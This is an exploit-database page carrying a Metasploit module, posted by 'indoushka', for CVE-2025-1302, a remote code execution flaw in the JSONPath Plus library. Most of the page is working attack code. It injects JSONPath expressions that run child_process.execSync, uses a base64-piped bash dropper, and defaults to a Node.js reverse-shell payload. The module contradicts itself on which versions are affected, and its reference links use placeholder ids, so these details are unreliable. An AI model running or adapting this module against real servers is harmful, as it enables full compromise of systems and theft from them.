Lucene search
K

📄 JSONPath Plus Remote Code Execution

🗓️ 18 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 132 Views

Critical remote code execution in JSONPath Plus before 10.3.0 enables arbitrary JavaScript.

Related
Code
=============================================================================================================================================
    | # Title     : JSONPath Plus < 10.3.0 Remote Code Execution Exploitation Framework                                                           |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/JSONPath-Plus/JSONPath                                                                                   |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/212004/ & 	CVE-2025-1302
    
    
    [+] Summary : 
    
            CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0. 
    		The vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise.
    		The vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands.
    
            
    
    [+] POC :
    
    ##
    # Module: exploit/multi/http/jsonpath_plus_rce
    # Version: 1.0
    # Author: indoushka
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'JSONPath Plus RCE (CVE-2025-1302)',
          'Description'    => %q{
            This module exploits a remote code execution vulnerability in JSONPath Plus
            library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript
            code execution through malicious JSONPath expressions.
          },
          'Author'         => ['indoushka'],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2025-1302'],
            ['URL', 'https://github.com/JSONPath-Plus/JSONPath/issues/XXX'],
            ['URL', 'https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-XXX']
          ],
          'DisclosureDate' => '2025-11-26',
          'Platform'       => ['nodejs', 'unix', 'linux'],
          'Arch'           => [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86],
          'Payload'        => {'BadChars' => '', 'Space' => 8192},
          'Targets'        => [
            ['Automatic', {}],
            ['Node.js', {'Arch' => ARCH_NODEJS, 'Platform' => 'nodejs'}],
            ['Unix Command', {'Arch' => ARCH_CMD, 'Platform' => 'unix'}],
            ['Linux Dropper', {'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux'}]
          ],
          'DefaultTarget'  => 0,
          'DefaultOptions' => {
            'SSL' => false,
            'RPORT' => 3000,
            'PAYLOAD' => 'nodejs/shell_reverse_tcp'
          },
          'Notes'          => {
            'Stability'   => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
        ))
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to the vulnerable endpoint', '/']),
          OptEnum.new('METHOD', [true, 'HTTP method to use', 'AUTO', ['POST', 'GET', 'AUTO']]),
          OptBool.new('NO_FALLBACK', [false, 'Disable GET fallback', false]),
          OptInt.new('DELAY', [false, 'Delay before exploitation (seconds)', 0]),
          OptString.new('PAYLOAD_FILE', [false, 'Path to custom payload file']),
          OptBool.new('VERBOSE', [false, 'Enable verbose output', false])
        ])
    
        register_advanced_options([
          OptString.new('CustomPayload', [false, 'Custom JSONPath payload']),
          OptBool.new('DebugRequests', [false, 'Debug HTTP requests/responses', false])
        ])
      end
    
      def check
        test_payload = '$[?(@.constructor.constructor("return process.version")())]'
        
        res = send_request_cgi({
          'method'   => 'POST',
          'uri'      => normalize_uri(target_uri.path),
          'ctype'    => 'application/json',
          'data'     => { 'path' => test_payload }.to_json
        })
    
        return CheckCode::Unknown('No response from target') unless res
    
        if res.body.include?('v') && res.body =~ /\d+\.\d+\.\d+/
          return CheckCode::Appears("Node.js version detected: #{res.body}")
        end
    
        CheckCode::Safe
      end
    
      def exploit
        print_status("Starting exploitation for CVE-2025-1302")
    
        # Apply delay if specified
        if datastore['DELAY'] > 0
          print_status("Delaying #{datastore['DELAY']} seconds before exploitation...")
          delay_progress(datastore['DELAY'])
        end
    
        # Determine payload based on target
        payload = generate_payload
        print_status("Generated payload: #{payload[0..100]}...") if datastore['VERBOSE']
    
        # Execute exploitation
        case target['Platform']
        when 'nodejs'
          exploit_nodejs(payload)
        when 'unix'
          exploit_unix(payload)
        when 'linux'
          exploit_linux(payload)
        else
          exploit_auto(payload)
        end
      end
    
      def generate_payload
        if datastore['CustomPayload']
          return datastore['CustomPayload']
        end
    
        case target['Platform']
        when 'nodejs'
          generate_nodejs_payload
        when 'unix', 'linux'
          generate_cmd_payload
        else
          # Auto-detect based on selected payload
          if payload_instance.name.include?('nodejs')
            generate_nodejs_payload
          else
            generate_cmd_payload
          end
        end
      end
    
      def generate_nodejs_payload
        cmd = payload.encoded
        # Escape for JavaScript string
        escaped_cmd = cmd.gsub('"', '\"').gsub("'", "\\'")
        
        %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{escaped_cmd}')")())]}
      end
    
      def generate_cmd_payload
        case target['Platform']
        when 'unix'
          cmd = payload.encoded
          %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
        when 'linux'
          # For Linux dropper, we need a different approach
          %Q{$[?(@.constructor.constructor("require('child_process').execSync('bash -c \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | bash')")())]}
        else
          generate_nodejs_payload
        end
      end
    
      def exploit_auto(payload_str)
        method = datastore['NO_FALLBACK'] ? 'POST' : datastore['METHOD']
        
        case method
        when 'POST'
          send_post_request(payload_str)
        when 'GET'
          send_get_request(payload_str)
        when 'AUTO'
          exploit_with_fallback(payload_str)
        end
      end
    
      def exploit_with_fallback(payload_str)
        print_status("Attempting POST request...")
        res = send_post_request(payload_str)
        
        if res && (res.code < 400)
          print_good("POST request successful")
          return true
        end
    
        print_status("POST failed, falling back to GET...")
        res = send_get_request(payload_str)
        
        if res && (res.code < 400)
          print_good("GET request successful")
          return true
        end
    
        fail_with(Failure::Unknown, "Both POST and GET methods failed")
      end
    
      def send_post_request(payload_str)
        data = { 'path' => payload_str }.to_json
        
        print_status("Sending POST request with payload") if datastore['VERBOSE']
        debug_request('POST', data) if datastore['DebugRequests']
        
        res = send_request_cgi({
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path),
          'ctype'   => 'application/json',
          'data'    => data
        }, datastore['HTTP_TIMEOUT'] || 10)
    
        debug_response(res) if datastore['DebugRequests'] && res
        handle_response(res, 'POST')
      end
    
      def send_get_request(payload_str)
        print_status("Sending GET request with payload") if datastore['VERBOSE']
        
        res = send_request_cgi({
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path),
          'vars_get' => { 'path' => payload_str }
        }, datastore['HTTP_TIMEOUT'] || 10)
    
        debug_response(res) if datastore['DebugRequests'] && res
        handle_response(res, 'GET')
      end
    
      def handle_response(res, method)
        unless res
          print_error("#{method} request failed - no response")
          return nil
        end
    
        if datastore['VERBOSE']
          print_status("#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}...")
        end
    
        if res.code >= 400
          print_error("#{method} request failed with code #{res.code}")
          return nil
        end
    
        res
      end
    
      def exploit_nodejs(payload_str)
        print_status("Exploiting Node.js target...")
        exploit_auto(payload_str)
        
        # For Node.js payloads, we need to handle the session differently
        if payload_instance.respond_to?(:handle_connection)
          handler
        end
      end
    
      def exploit_unix(payload_str)
        print_status("Exploiting Unix command target...")
        exploit_auto(payload_str)
      end
    
      def exploit_linux(payload_str)
        print_status("Exploiting Linux target with dropper...")
        
        # Use cmd stager for Linux targets
        execute_cmdstager({
          :linemax => 8000,
          :nodelete => true
        })
      end
    
      def execute_command(cmd, opts = {})
        payload_str = %Q{$[?(@.constructor.constructor("require('child_process').execSync('#{cmd.gsub("'", "\\'")}')")())]}
        exploit_auto(payload_str)
      end
    
      def delay_progress(seconds)
        return if seconds <= 0
        
        print_status("Waiting #{seconds} seconds...")
        1.upto(seconds) do |i|
          print_status("Delay: #{i}/#{seconds}") if i % 5 == 0 || i <= 3
          sleep(1)
        end
      end
    
      def debug_request(method, data)
        print_status("[DEBUG #{Time.now.utc.iso8601}] #{method} Request:")
        print_status("Data: #{data}")
      end
    
      def debug_response(res)
        return unless res
        
        print_status("[DEBUG #{Time.now.utc.iso8601}] Response:")
        print_status("Status: #{res.code}")
        print_status("Headers: #{res.headers}")
        print_status("Body: #{res.body}")
      end
    
      def load_custom_payloads(file_path)
        return [] unless File.exist?(file_path)
        
        payloads = []
        File.readlines(file_path).each do |line|
          next if line.strip.empty?
          payloads << line.strip
        end
        payloads
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2025 00:00Current
9High risk
Vulners AI Score9
CVSS 49.3
CVSS 3.19.8
EPSS0.89929
SSVC
132